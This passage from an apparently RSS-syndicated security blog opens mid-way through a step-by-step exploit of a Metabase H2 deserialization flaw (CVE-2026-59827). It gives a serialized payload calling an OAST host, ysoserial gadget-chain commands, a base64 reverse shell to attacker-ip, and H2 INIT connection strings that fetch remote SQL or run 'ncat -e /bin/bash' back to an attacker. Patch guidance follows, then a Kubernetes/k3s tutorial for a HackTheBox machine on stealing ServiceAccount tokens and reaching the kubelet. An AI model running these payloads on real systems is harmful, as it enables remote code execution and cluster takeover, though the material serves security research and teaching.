X&#39;aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78&#39;::OTHER;</pre><p>Monitor your OAST listener. Receiving a DNS query from the Metabase server’s IP address confirms that readObject() was called and deserialization is occurring on the OTHER column.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JTinHw8fvj-mft1h.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*u3p3UmDi0p9iaPdq.png" /></figure><h3>Step 3 — Identify a Working Gadget Chain</h3><p>Which gadget chain achieves code execution depends on which Java libraries are present on the Metabase server’s classpath. Try the following chains in sequence:</p><pre>java -jar ysoserial-all.jar CommonsCollections1 &#39;id&#39; &gt; payload.bin<br>java -jar ysoserial-all.jar CommonsCollections2 &#39;id&#39; &gt; payload.bin<br>java -jar ysoserial-all.jar CommonsCollections3 &#39;id&#39; &gt; payload.bin<br>java -jar ysoserial-all.jar Clojure &#39;id&#39; &gt; payload.bin</pre><p>Convert each binary payload to the hex format required by the SQL query:</p><pre>xxd -p payload.bin | tr -d &#39;\n&#39; &gt; payload.hex</pre><p>Then submit using the same SELECT X&#39;...&#39;::OTHER pattern in the Metabase SQL editor and observe whether the command output is reflected in any error message or response.</p><h3>Step 4 — Execute the Command Execution Payload</h3><p>Once a working gadget chain is identified, replace the test command with the desired payload. For a reverse shell, encode the command in base64 to avoid shell quoting issues:</p><pre>echo &#39;bash -i &gt;&amp; /dev/tcp/attacker-ip/4444 0&gt;&amp;1&#39; | base64</pre><p>Generate the ysoserial payload with the base64-decoded execution pattern:</p><pre>java -jar ysoserial-all.jar CommonsCollections1 \<br>  &#39;bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci1pcC80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}&#39; \<br>  &gt; payload.bin</pre><pre>xxd -p payload.bin | tr -d &#39;\n&#39; &gt; payload.hex</pre><p>Set up the listener before submitting the query:</p><pre>nc -lvnp 4444</pre><p>Then paste the hex into the SQL editor:</p><pre>SELECT X&#39;&lt;paste hex string here&gt;&#39;::OTHER;</pre><p>When Metabase processes the result set and encounters the OTHER column, readObject() fires, the gadget chain executes, and the reverse shell connects back.</p><h2>Troubleshooting</h2><p>If InvalidClassException is raised, the gadget chain depends on a library version that does not match what is present on the server. Try a different chain.</p><p>If nothing happens after submitting the query, either the instance is already patched, JEP 290 serialization filters are active and blocking the gadget chain, or the OTHER column type is not being processed by the vulnerable code path.</p><p>If ClassNotFoundException occurs, the required library is absent from the classpath entirely. Try a different chain.</p><p>On UI output, you will only get error We&#39;re experiencing server issue:</p><h2>Relation to CVE-2026–59826</h2><p>CVE-2026–59826 (GHSA-r6x2-rchx-q9g9) is a related vulnerability disclosed at the same time. While CVE-2026–59827 exploits deserialization through query results, CVE-2026–59826 targets a separate code path: the database registration endpoint. An authenticated administrator can submit a crafted H2 JDBC connection URL containing an INIT parameter that is executed when the connection is established. Because the validation applied to the INIT field was insufficient on certain database-creation and database-edit code paths, an attacker with admin access can achieve RCE through the connection string rather than through a query.</p><p>A malicious INIT connection URL takes a form such as:</p><pre>jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM &quot;http://attacker-ip/rce.sql&quot;</pre><p>The SQL file served by the attacker can define and call a Java alias that executes shell commands:</p><pre>CREATE ALIAS SHELLEXEC AS $$<br>String shellexec(String cmd) throws java.io.IOException {<br>    String[] command = {&quot;bash&quot;, &quot;-c&quot;, cmd};<br>    java.util.Scanner s = new java.util.Scanner(<br>        Runtime.getRuntime().exec(command).getInputStream()<br>    ).useDelimiter(&quot;\\A&quot;);<br>    return s.hasNext() ? s.next() : &quot;&quot;;<br>}<br>$$;<br>CALL SHELLEXEC(&#39;ncat -e /bin/bash attacker-ip 5555&#39;)</pre><p>Alternatively, the INIT string can embed the trigger directly without a remote file fetch:</p><pre>jdbc:h2:file:/tmp/tempdb;TRACE_LEVEL_SYSTEM_OUT=0\;<br>CREATE TRIGGER rce_trigger BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS<br>$$<br>java.lang.Runtime.getRuntime().exec(&#39;bash -c {echo,&lt;base64_payload&gt;}|{base64,-d}|{bash,-i}&#39;)<br>$$--=x</pre><p>Both CVE-2026–59826 and CVE-2026–59827 share the same root cause — insufficient hardening around H2’s server-side execution features — but differ in the specific code paths exploited and the required privilege level.</p><h2>Mitigation and Remediation</h2><p>Upgrade Metabase to one of the following patched versions: 1.58.15, 1.59.12, 1.60.6.3, or 1.61.1.4. These releases modify the result-processing pipeline to inspect JDBC column metadata and refuse to process any column reported as JAVA_OBJECT or OTHER type, preventing the deserialization call from occurring.</p><p>If an immediate upgrade is not possible, restrict native query permissions. Remove the native query execution permission from all non-administrative users for H2-backed databases, including the sample database. This reduces the attack surface to administrator-level accounts only. Separately, consider whether the sample database is needed at all; disabling or removing it eliminates the H2 attack surface for this CVE entirely.</p><p>For self-hosted instances using H2 as the application database, Metabase’s own documentation recommends migrating to PostgreSQL or MySQL as a more robust and secure application database backend.</p><h2>References</h2><ul><li>NVD entry: <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-59827">https://nvd.nist.gov/vuln/detail/CVE-2026-59827</a></li><li>GitHub Advisory GHSA-w95f-x9v9-wv36: <a href="https://github.com/metabase/metabase/security/advisories/GHSA-w95f-x9v9-wv36">https://github.com/metabase/metabase/security/advisories/GHSA-w95f-x9v9-wv36</a></li><li>OSV entry: <a href="https://osv.dev/vulnerability/GHSA-w95f-x9v9-wv36">https://osv.dev/vulnerability/GHSA-w95f-x9v9-wv36</a></li><li>ysoserial payload generator: <a href="https://github.com/frohoff/ysoserial/releases">https://github.com/frohoff/ysoserial/releases</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9b9fe67f40db" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kubernetes and k3s: A Practical Deep Dive]]></title>
            <link>https://medium.com/@c0gnit00/kubernetes-and-k3s-a-practical-deep-dive-27051aaec45e?source=rss-60fce9fc52b2------2</link>
            <guid isPermaLink="false">https://medium.com/p/27051aaec45e</guid>
            <category><![CDATA[fireflow]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[container-orchestration]]></category>
            <dc:creator><![CDATA[c0gnit00]]></dc:creator>
            <pubDate>Fri, 03 Jul 2026 20:42:16 GMT</pubDate>
            <atom:updated>2026-07-03T20:42:16.865Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9TGoWV7hERoIuIue8MX7og.jpeg" /></figure><p>From core concepts to HackTheBox Fireflow machine exploitation — everything you need to understand the architecture, the tooling, and why permissions matter.</p><h3>1. What is Kubernetes?</h3><p>Kubernetes (abbreviated k8s — “k” + 8 letters + “s”) is an open-source system for automating the deployment, scaling, and management of containerized applications across a cluster of machines.</p><p>Instead of manually starting containers on specific servers, you describe what you want running and Kubernetes figures out where and how to run it — and keeps it running even when things fail.</p><p>Think of it like a delivery logistics company. You don’t tell the company “put package A on truck 3, package B on truck 7.” You say “deliver these packages by tomorrow,” and their system handles routing, load balancing, and recovery if a truck breaks down. Kubernetes does that for your applications.</p><p>Kubernetes is self-healing: crashed containers are automatically restarted. It scales replicas up or down on demand, distributes traffic across healthy instances, and deploys new versions without downtime. It is declarative — you describe the desired state and Kubernetes makes reality match it.</p><h3>2. The Cluster — The Big Picture</h3><p>A cluster is the entire Kubernetes environment working as a single coordinated system. It is made up of one or more nodes (the machines), the control plane (the decision-making brain), and the workloads running inside Pods on those nodes.</p><p>Think of an orchestra. Each node is a musician. The control plane is the conductor. The cluster is the whole orchestra playing as one coordinated thing. As a user you talk to the whole cluster via the API server — the internal coordination between components is invisible to you.</p><p>A cluster can be a single node, as is common in k3s edge deployments and home-lab setups, where one machine acts as both the control plane and the worker. In production environments, clusters typically have dedicated control-plane nodes handling management traffic and many worker nodes running application Pods.</p><p>The hierarchy looks like this: the cluster contains nodes, each node runs a kubelet agent, each node hosts one or more Pods, and each Pod wraps one or more containers.</p><h3>3. Core Building Blocks</h3><h3>Node</h3><p>A node is a machine — physical or virtual — that participates in the cluster. A control-plane node runs the cluster’s brain components: the API server, scheduler, and controller manager. A worker node runs your actual application Pods. In a single-node k3s setup, one machine does both jobs simultaneously.</p><h3>Pod</h3><p>A Pod is the smallest deployable unit in Kubernetes. It wraps one or more containers that share the same network namespace (meaning the same IP address), the same storage volumes, and always run on the same node together. Most Pods contain exactly one container. Multi-container Pods are used when processes are tightly coupled — for example, a main application alongside a sidecar log collector.</p><p>In a real k3s cluster you will see Pods like these:</p><pre>prometheus-prometheus-node-exporter-nmntq<br>coredns-76c974cb66-cn7l6<br>mcp-server-54464cb475-29ztf<br>metrics-server-c8774f4f4-phw6q</pre><p>Each one is a named Pod, and each contains one or more containers defined in its spec.</p><h3>Container</h3><p>The actual running application. Same concept as a Docker container. A Pod is essentially a thin scheduling and networking wrapper around one or more containers. Containers within a Pod share the Pod’s IP and volumes but have isolated process spaces.</p><h3>Namespace</h3><p>A namespace is a virtual partition within a cluster. It exists for organizational isolation, RBAC scoping (permission rules can be namespace-specific), and resource quotas. Two teams can both have a Pod named <strong>web-server</strong> as long as they are in different namespaces.</p><p>In a standard k3s install you will find three namespaces. The <strong>default</strong> namespace is where user workloads land if no namespace is specified. The <strong>kube-system</strong> namespace holds core infrastructure like CoreDNS and metrics-server. A <strong>monitoring</strong> namespace might hold Prometheus and its exporters. Each namespace is a clean boundary for permissions and organization.</p><h3>Deployment and DaemonSet</h3><p>Deployments and DaemonSets are workload controllers — they describe how Pods should be managed over time.</p><p>A Deployment says “run N replicas of this Pod, keep them running, and allow rolling updates.” It is used for stateless applications, APIs, and web servers. If a Pod dies, the Deployment controller creates a replacement.</p><p>A DaemonSet says “run exactly one copy of this Pod on every node in the cluster.” It is used for node-level agents that need to run everywhere — log collectors, monitoring agents, security scanners. The <strong>node-exporter</strong> process in a Prometheus stack is typically a DaemonSet. This matters for security because DaemonSet Pods often carry elevated privileges and host-level mounts in order to report system metrics.</p><h3>Service</h3><p>A Service provides a stable network endpoint — a DNS name and a virtual IP — that routes traffic to a set of Pods even as individual Pods get replaced with new IPs over time.</p><p>There are three main Service types. A ClusterIP is internal to the cluster only. A NodePort exposes the service on every node’s real IP on a high port in the range 30000 to 32767 — this is how internal services become reachable from outside the cluster without a load balancer. A LoadBalancer provisions an external cloud load balancer.</p><p>Port <strong>30080</strong> in the Fireflow HTB machine is a NodePort — the internal MCP server Pod is reachable from outside the cluster on that port because the Service is of type NodePort.</p><h3>ServiceAccount</h3><p>A ServiceAccount is a non-human identity that a Pod uses to authenticate to the Kubernetes API server. It is separate from human user accounts.</p><p>Every Pod is automatically assigned a ServiceAccount. A JWT token for that ServiceAccount is automatically mounted inside the container at <strong>/var/run/secrets/kubernetes.io/serviceaccount/token</strong>. The Pod can present this token when making API calls to the Kubernetes API server or directly to the kubelet. RBAC rules define what that token is permitted to do.</p><p>This is the mechanism at the center of most Kubernetes privilege escalation chains. If you compromise a container, you almost certainly have its ServiceAccount token and can authenticate to the cluster as that service identity.</p><h3>4. The Control Plane — The Brain</h3><p>The control plane is the set of components that make cluster-wide decisions. In k3s, all of them run bundled inside a single binary.</p><p><strong>kube-apiserver</strong> listens on port 6443 and is the front door for everything. Every request — from kubectl, from Pods, from automation scripts — goes through this component. It handles authentication (who are you?) and authorization via RBAC (what are you allowed to do?).</p><p><strong>kubelet</strong> runs on every node and listens on port 10250. It is the node agent responsible for actually starting and stopping containers, reporting node and Pod health back to the control plane, and handling exec, logs, and attach requests that the API server forwards to it.</p><p><strong>kube-scheduler</strong> decides which node a new Pod should run on. It evaluates resource availability, node taints and tolerations, affinity rules, and other constraints to make that placement decision.</p><p><strong>kube-controller-manager</strong> runs background reconciliation loops. If you asked for three replicas and only two are running, the controller manager notices and starts a third. If a node disappears, it reschedules the affected Pods.</p><p><strong>etcd</strong> is the key-value database where all cluster state is stored. k3s uses a lighter embedded store (SQLite by default, or embedded etcd for multi-node HA setups) instead of a standalone etcd cluster.</p><p>When you run a kubectl command, it hits the kube-apiserver at port 6443, which authenticates your identity, checks RBAC for authorization, and then instructs the relevant component — often the kubelet at port 10250 — to carry out the action.</p><h3>5. k3s — Lightweight Kubernetes</h3><p>k3s is a lightweight, production-grade Kubernetes distribution built by Rancher (SUSE). It packages the entire Kubernetes control plane into a single binary of roughly 70MB, making it ideal for edge deployments, IoT devices, home-lab setups, and resource-constrained environments.</p><p>k3s uses SQLite as its default storage backend instead of etcd, bundles containerd as the container runtime, auto-generates certificates, and installs with a single command. The memory footprint starts around 512MB compared to the 2GB minimum for a standard Kubernetes installation. Everything else is standard Kubernetes under the hood — the same kubectl commands, RBAC rules, kubelet API, and ServiceAccount token mechanics all work identically.</p><p>k3s writes its cluster admin kubeconfig — which contains the full administrator certificate — to <strong>/etc/rancher/k3s/k3s.yaml</strong>. By default that file is owned by root with 600 permissions, meaning only root can read it. If you land on a k3s node without root access, you cannot use that file. However, if you have a ServiceAccount token from a Pod on the cluster, you can configure kubectl to use that token directly without touching the system config file. Section 10 covers exactly how to do that.</p><h3>6. RBAC — Role-Based Access Control</h3><p>RBAC is Kubernetes’s permission system. It answers four questions for every API request: who is making the request (a user or a ServiceAccount), what action they want to perform (the verb), which resource they want to act on (pods, nodes, secrets, etc.), and in which namespace.</p><p>The four core RBAC objects are Role, ClusterRole, RoleBinding, and ClusterRoleBinding. A Role grants permissions within a single namespace. A ClusterRole grants permissions cluster-wide or for cluster-scoped resources like nodes. A RoleBinding binds a Role to a user or ServiceAccount in a namespace. A ClusterRoleBinding binds a ClusterRole across the whole cluster.</p><p>Kubernetes maps HTTP request methods to RBAC verbs. A GET request maps to the <strong>get</strong> or <strong>list</strong> verb. A POST request maps to <strong>create</strong>. A PUT maps to <strong>update</strong>. A PATCH maps to <strong>patch</strong>. A DELETE maps to <strong>delete</strong>. This mapping is enforced by the API server and also by the kubelet’s own authorization webhook when requests arrive directly on port 10250. The relationship between HTTP methods and RBAC verbs is fundamental to understanding the WebSocket exec bypass covered later in this post.</p><p>Kubernetes provides two special self-inspection API resources that always work for any authenticated identity — no special RBAC grant is required. <strong>SelfSubjectAccessReview</strong> checks whether the current identity can perform one specific action. <strong>SelfSubjectRulesReview</strong> lists everything the current identity is permitted to do in a given namespace.</p><pre># Check one specific permission — can this identity exec into pods in the monitoring namespace?<br>curl -sk -X POST https://127.0.0.1:6443/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \<br>  -H &quot;Authorization: Bearer $TOKEN&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{<br>    &quot;apiVersion&quot;: &quot;authorization.k8s.io/v1&quot;,<br>    &quot;kind&quot;: &quot;SelfSubjectAccessReview&quot;,<br>    &quot;spec&quot;: {<br>      &quot;resourceAttributes&quot;: {<br>        &quot;namespace&quot;: &quot;monitoring&quot;,<br>        &quot;verb&quot;: &quot;create&quot;,<br>        &quot;resource&quot;: &quot;pods&quot;,<br>        &quot;subresource&quot;: &quot;exec&quot;<br>      }<br>    }<br>  }&#39; | jq &#39;.status&#39;</pre><p>Output:</p><pre>{<br>  &quot;allowed&quot;: false<br>}</pre><p>List all the permissions that the Identity has in the defautl namespace:</p><pre># List everything this identity can do in the default namespace<br>curl -sk -X POST https://127.0.0.1:6443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \<br>  -H &quot;Authorization: Bearer $TOKEN&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{<br>    &quot;apiVersion&quot;: &quot;authorization.k8s.io/v1&quot;,<br>    &quot;kind&quot;: &quot;SelfSubjectRulesReview&quot;,<br>    &quot;spec&quot;: { &quot;namespace&quot;: &quot;default&quot; }<br>  }&#39; | jq &#39;.status.resourceRules&#39;</pre><p>Output (for the <strong>mcp-sa</strong> ServiceAccount from the Fireflow machine):</p><pre>[<br>  {<br>    &quot;verbs&quot;: [&quot;get&quot;],<br>    &quot;apiGroups&quot;: [&quot;&quot;],<br>    &quot;resources&quot;: [&quot;nodes/proxy&quot;]<br>  },<br>  {<br>    &quot;verbs&quot;: [&quot;create&quot;],<br>    &quot;apiGroups&quot;: [&quot;authorization.k8s.io&quot;],<br>    &quot;resources&quot;: [&quot;selfsubjectaccessreviews&quot;, &quot;selfsubjectrulesreviews&quot;]<br>  },<br>  {<br>    &quot;verbs&quot;: [&quot;create&quot;],<br>    &quot;apiGroups&quot;: [&quot;authentication.k8s.io&quot;],<br>    &quot;resources&quot;: [&quot;selfsubjectreviews&quot;]<br>  }<br>]</pre><p>The only real grant here is <strong>get</strong> on <strong>nodes/proxy</strong>. This one permission is the linchpin of the entire privilege escalation chain described later.</p><h3>7. Key Ports and What Listens on Them</h3><p>Port 6443 is the main Kubernetes API server endpoint, bound on all interfaces. All kubectl commands, RBAC enforcement, and token-based authentication happen here. This is the public-facing entrypoint to the cluster.</p><p>Port 6444 is the internal k3s API server process, bound to 127.0.0.1 only. It is not reachable externally.</p><p>Port 10250 is the kubelet API, typically bound on all interfaces in misconfigured deployments. The API server calls this port to instruct the kubelet to start pods, run exec commands, stream logs, and attach to containers. If it is exposed on all interfaces rather than locked to localhost, any entity holding a valid ServiceAccount token can send requests directly to the kubelet — bypassing the API server’s routing layer.</p><p>Port 10248 is the kubelet health check endpoint on localhost. Port 10249 is kube-proxy metrics on localhost. Port 9100 is the node-exporter Prometheus metrics endpoint.</p><p>You can confirm which ports are active with:</p><pre>ss -tnulp | grep -E &#39;6443|6444|10250&#39;</pre><p>Output from the Fireflow machine:</p><pre>tcp   LISTEN 0      4096       127.0.0.1:6444       0.0.0.0:*<br>tcp   LISTEN 0      4096               *:10250            *:*<br>tcp   LISTEN 0      4096               *:6443             *:*</pre><p>The fact that port 10250 is bound on <strong>*</strong> (all interfaces) rather than localhost is a misconfiguration that becomes critical in the exploitation chain.</p><h3>8. The ServiceAccount Token — What It Is and How to Decode It ?</h3><p>Understanding what a ServiceAccount token is before using it in commands saves a lot of confusion.</p><h3>Where it lives ?</h3><p>Inside every Pod, Kubernetes automatically mounts a JWT token at this path:</p><pre>/var/run/secrets/kubernetes.io/serviceaccount/token</pre><p>Read it from inside a compromised container:</p><pre>cat /var/run/secrets/kubernetes.io/serviceaccount/token; echo</pre><p>Then store it in a shell variable on the host for all subsequent API calls:</p><pre>export TOKEN=&quot;&lt;paste-token-here&gt;&quot;</pre><h3>What it is ?</h3><p>A ServiceAccount token is a signed JWT (JSON Web Token). JWTs have three base64url-encoded parts separated by dots: the header, the payload, and the signature. The header identifies the algorithm used to sign it. The payload contains the actual claims — who this identity is, which Pod it belongs to, and when it expires. The signature is a cryptographic proof signed by the API server’s private key.</p><h3>Decoding the token</h3><pre># Decode the header — shows the algorithm and key ID<br>echo -n &quot;$TOKEN&quot; | cut -d. -f1 | base64 -d 2&gt;/dev/null | jq .</pre><p>Output:</p><pre>{<br>  &quot;alg&quot;: &quot;RS256&quot;,<br>  &quot;kid&quot;: &quot;aPE6yGrkIJZvgbw_GppSE0XPRYYLjxg1PrHhRcLERvo&quot;<br>}</pre><pre># Decode the payload — the actual identity claims<br>echo -n &quot;$TOKEN&quot; | cut -d. -f2 | base64 -d 2&gt;/dev/null | jq .</pre><p>Output for the <strong>mcp-sa</strong> token from the Fireflow machine:</p><pre>{<br>  &quot;aud&quot;: [<br>    &quot;https://kubernetes.default.svc.cluster.local&quot;,<br>    &quot;k3s&quot;<br>  ],<br>  &quot;exp&quot;: 1814637969,<br>  &quot;iat&quot;: 1783101969,<br>  &quot;iss&quot;: &quot;https://kubernetes.default.svc.cluster.local&quot;,<br>  &quot;jti&quot;: &quot;d8f000d9-b216-435b-80cf-de3d0ec7d4a2&quot;,<br>  &quot;kubernetes.io&quot;: {<br>    &quot;namespace&quot;: &quot;default&quot;,<br>    &quot;node&quot;: {<br>      &quot;name&quot;: &quot;fireflow&quot;,<br>      &quot;uid&quot;: &quot;87291588-0178-4e42-a998-41a52fa73b8e&quot;<br>    },<br>    &quot;pod&quot;: {<br>      &quot;name&quot;: &quot;mcp-server-54464cb475-29ztf&quot;,<br>      &quot;uid&quot;: &quot;702afebb-4f51-4ed5-aa98-ab6b2553a728&quot;<br>    },<br>    &quot;serviceaccount&quot;: {<br>      &quot;name&quot;: &quot;mcp-sa&quot;,<br>      &quot;uid&quot;: &quot;a534f551-b2b1-4e66-bda5-e9b5e2a5602c&quot;<br>    }<br>  },<br>  &quot;nbf&quot;: 1783101969,<br>  &quot;sub&quot;: &quot;system:serviceaccount:default:mcp-sa&quot;<br>}</pre><p>The <strong>sub</strong> field is the full identity string: <strong>system:serviceaccount:&lt;namespace&gt;:&lt;name&gt;</strong>. This is what Kubernetes RBAC sees when this token is used. The <strong>kubernetes.io.namespace</strong> field tells you which namespace the ServiceAccount lives in. The <strong>kubernetes.io.node.name</strong> field gives you the node name — critical when <strong>kubectl get nodes</strong> is forbidden. The <strong>kubernetes.io.pod.name</strong> confirms which Pod this token was issued for. The <strong>exp</strong> field is the expiration timestamp as a Unix epoch.</p><p>This payload gives you the node name (<strong>fireflow</strong>) and confirms the identity (<strong>mcp-sa</strong> in the <strong>default</strong> namespace) before making a single API call.</p><h3>9. Configuring kubectl Without Root Access</h3><p>By default k3s writes its cluster admin config to <strong>/etc/rancher/k3s/k3s.yaml</strong> with 600 permissions — root-only. If you have a valid ServiceAccount token but not root access, you can build your own kubeconfig in your home directory.</p><pre># Point KUBECONFIG to a file you own<br>export KUBECONFIG=$HOME/k3s-config.yaml</pre><pre># Configure the cluster endpoint<br>kubectl config set-cluster default \<br>  --server=https://127.0.0.1:6443 \<br>  --insecure-skip-tls-verify=true<br># Add your ServiceAccount token as credentials<br>kubectl config set-credentials mcp-sa --token=&quot;$TOKEN&quot;<br># Create and activate a context<br>kubectl config set-context default --cluster=default --user=mcp-sa<br>kubectl config use-context default<br># Verify<br>kubectl version</pre><p>The resulting file at <strong>~/k3s-config.yaml</strong> looks like this:</p><pre>apiVersion: v1<br>clusters:<br>- cluster:<br>    insecure-skip-tls-verify: true<br>    server: https://127.0.0.1:6443<br>  name: default<br>contexts:<br>- context:<br>    cluster: default<br>    user: mcp-sa<br>  name: default<br>current-context: default<br>kind: Config<br>users:<br>- name: mcp-sa<br>  user:<br>    token: &lt;YOUR_JWT_TOKEN_HERE&gt;</pre><p>The <strong>— insecure-skip-tls-verify=true</strong> flag skips certificate validation. In production you would use <strong>— certificate-authority=/path/to/ca.crt</strong> with the cluster’s CA certificate instead (often at <strong>/var/lib/rancher/k3s/server/tls/server-ca.crt</strong> if accessible).</p><p>With this config in place, kubectl works using the ServiceAccount’s permissions — not admin credentials. Most common commands will return Forbidden because the ServiceAccount has narrow RBAC grants. That is expected and actually useful — the Forbidden errors confirm what the identity cannot do, just as the successful calls confirm what it can.</p><p>From the Fireflow machine, running standard commands with the <strong>mcp-sa</strong> token shows exactly this pattern:</p><pre>kubectl get nodes<br># Error from server (Forbidden): nodes is forbidden: User &quot;system:serviceaccount:default:mcp-sa&quot;<br># cannot list resource &quot;nodes&quot; in API group &quot;&quot; at the cluster scope</pre><pre>kubectl get namespaces<br># Error from server (Forbidden): namespaces is forbidden: ...<br>kubectl get pods -A<br># Error from server (Forbidden): pods is forbidden: ...<br>kubectl get services -A<br># Error from server (Forbidden): services is forbidden: ...<br>kubectl cluster-info<br># Error from server (Forbidden): services is forbidden: ... in the namespace &quot;kube-system&quot;</pre><p>Every standard cluster-browsing command is denied. The only thing <strong>mcp-sa</strong> can do through the API server is the self-review APIs and the <strong>nodes/proxy</strong> subresource. This is why the attack path must go through the kubelet directly rather than through standard kubectl commands.</p><h3>10. Practical kubectl Commands</h3><h3>Cluster and general info</h3><pre># Check connectivity and version<br>kubectl version</pre><pre># Cluster overview (requires list permissions on services in kube-system)<br>kubectl cluster-info</pre><h3>Nodes</h3><pre># List all nodes<br>kubectl get nodes</pre><pre># Detailed info including labels, conditions, capacity, and allocated resources<br>kubectl describe node &lt;node-name&gt;<br>kubectl describe node fireflow<br># Node as JSON<br>kubectl get node fireflow -o json</pre><h3>Namespaces</h3><pre># List all namespaces<br>kubectl get namespaces</pre><pre># Shorthand<br>kubectl get ns</pre><h3>Pods</h3><pre># Pods in a specific namespace<br>kubectl get pods -n default<br>kubectl get pods -n monitoring<br>kubectl get pods -n kube-system</pre><pre># All pods across all namespaces<br>kubectl get pods -A<br><br># Wide output - shows node name and IP<br>kubectl get pods -A -o wide<br><br># Full description including events, volume mounts, and security context<br>kubectl describe pod &lt;pod-name&gt; -n &lt;namespace&gt;<br>kubectl describe pod prometheus-prometheus-node-exporter-nmntq -n monitoring<br><br># Raw JSON - same structure as the kubelet&#39;s /pods endpoint<br>kubectl get pod &lt;pod-name&gt; -n &lt;namespace&gt; -o json<br><br># Extract a specific field with JSONPath<br>kubectl get pod &lt;pod-name&gt; -n &lt;namespace&gt; -o jsonpath=&#39;{.spec.serviceAccountName}&#39;<br># Stream logs<br>kubectl logs &lt;pod-name&gt; -n &lt;namespace&gt;<br>kubectl logs &lt;pod-name&gt; -n &lt;namespace&gt; -c &lt;container-name&gt;<br>kubectl logs -f &lt;pod-name&gt; -n &lt;namespace&gt;<br><br># Exec into a running container interactively<br>kubectl exec -it &lt;pod-name&gt; -n &lt;namespace&gt; -- /bin/bash<br>kubectl exec -it &lt;pod-name&gt; -n &lt;namespace&gt; -c &lt;container&gt; -- /bin/sh<br><br># Run a single command non-interactively<br>kubectl exec -n monitoring prometheus-prometheus-node-exporter-nmntq \<br>  -c node-exporter -- id</pre><h3>Deployments and DaemonSets</h3><pre># List all Deployments<br>kubectl get deployments -A<br>kubectl describe deployment &lt;name&gt; -n &lt;namespace&gt;</pre><pre># List all DaemonSets<br>kubectl get daemonsets -A<br>kubectl describe daemonset &lt;name&gt; -n &lt;namespace&gt;</pre><h3>Services</h3><pre># All services<br>kubectl get services -A<br>kubectl get svc -A</pre><pre># Describe a service to see its selector, endpoints, and NodePort<br>kubectl describe service &lt;name&gt; -n &lt;namespace&gt;</pre><h3>ServiceAccounts</h3><pre># List ServiceAccounts in a namespace<br>kubectl get serviceaccounts -n default<br>kubectl get sa -n default</pre><pre># Describe a ServiceAccount<br>kubectl describe serviceaccount mcp-sa -n default<br># Which ServiceAccount does a specific Pod use?<br>kubectl get pod &lt;pod-name&gt; -n &lt;namespace&gt; \<br>  -o jsonpath=&#39;{.spec.serviceAccountName}&#39;</pre><h3>RBAC and permissions</h3><pre># What can the current kubeconfig identity do?<br>kubectl auth can-i --list</pre><pre># What can a specific token do?<br>kubectl auth can-i --list \<br>  --token=&quot;$TOKEN&quot; \<br>  --server=https://127.0.0.1:6443 \<br>  --insecure-skip-tls-verify<br># Check one specific permission<br>kubectl auth can-i create pods/exec -n monitoring \<br>  --token=&quot;$TOKEN&quot; \<br>  --server=https://127.0.0.1:6443 \<br>  --insecure-skip-tls-verify<br># List Roles, ClusterRoles, and their bindings<br>kubectl get roles -A<br>kubectl get rolebindings -A<br>kubectl get clusterroles<br>kubectl get clusterrolebindings<br># Inspect a specific role&#39;s rules<br>kubectl describe clusterrole &lt;name&gt;<br>kubectl describe rolebinding &lt;name&gt; -n &lt;namespace&gt;</pre><h3>Secrets</h3><pre># List all secrets (data is base64-encoded, only names visible here)<br>kubectl get secrets -A</pre><pre># Read a secret&#39;s data fields<br>kubectl get secret &lt;name&gt; -n &lt;namespace&gt; -o jsonpath=&#39;{.data}&#39;<br># Decode one field<br>kubectl get secret &lt;name&gt; -n &lt;namespace&gt; \<br>  -o jsonpath=&#39;{.data.password}&#39; | base64 -d</pre><h3>11. The Kubelet API (Port 10250) — Direct Access</h3><h3>What is the Kubelet?</h3><p>The kubelet is the node agent. It runs on every node and is responsible for starting and stopping containers according to Pod specs, reporting node and Pod health back to the control plane, and handling exec, logs, and attach requests that the API server forwards to it.</p><p>The kubelet exposes an HTTPS API on port 10250. The API server calls this port to instruct the kubelet. This same API can be called directly by anyone who holds a valid ServiceAccount token — subject to RBAC authorization via a webhook call back to the API server.</p><p>The kubelet’s key API endpoints are:</p><p><strong>/healthz</strong> — health check, returns <strong>ok</strong> on GET. <strong>/pods</strong> — full list of all Pods scheduled on this node, on GET. <strong>/stats/summary</strong> — node resource usage (CPU, memory, disk), on GET. <strong>/metrics</strong> — Prometheus-format node metrics, on GET. <strong>/containerLogs/{namespace}/{pod}/{container}</strong> — streams container logs, on GET. <strong>/exec/{namespace}/{pod}/{container}</strong> — executes a command inside a container, via POST or WebSocket. <strong>/run/{namespace}/{pod}/{container}</strong> — non-interactive command execution, via POST.</p><h3>Kubelet direct commands via curl</h3><p>First, ensure your token is exported:</p><pre>export TOKEN=&quot;&lt;your-jwt-here&gt;&quot;</pre><p><strong>Health check:</strong></p><pre>curl -sk -H &quot;Authorization: Bearer $TOKEN&quot; \<br>  https://127.0.0.1:10250/healthz</pre><p>Output: <strong>ok</strong></p><p><strong>List all Pods on the node:</strong></p><p>This bypasses the API server’s RBAC 